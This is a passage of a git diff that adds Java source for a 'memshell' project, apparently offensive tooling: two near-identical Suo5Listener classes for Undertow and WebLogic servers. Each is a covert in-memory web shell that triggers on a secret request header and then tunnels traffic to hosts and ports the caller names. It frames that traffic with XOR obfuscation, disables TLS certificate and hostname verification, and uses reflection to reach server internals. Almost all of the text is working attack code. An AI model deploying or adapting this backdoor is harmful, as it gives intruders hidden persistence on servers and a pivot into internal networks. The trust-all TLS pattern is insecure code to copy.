+ + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java new file mode 100644 index 00000000..344f8b2a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java @@ -0,0 +1,607 @@ +package com.reajason.javaweb.memshell.undertow.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); + break; + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java new file mode 100644 index 00000000..d1ad6132 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java @@ -0,0 +1,604 @@ +package com.reajason.javaweb.memshell.weblogic.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git 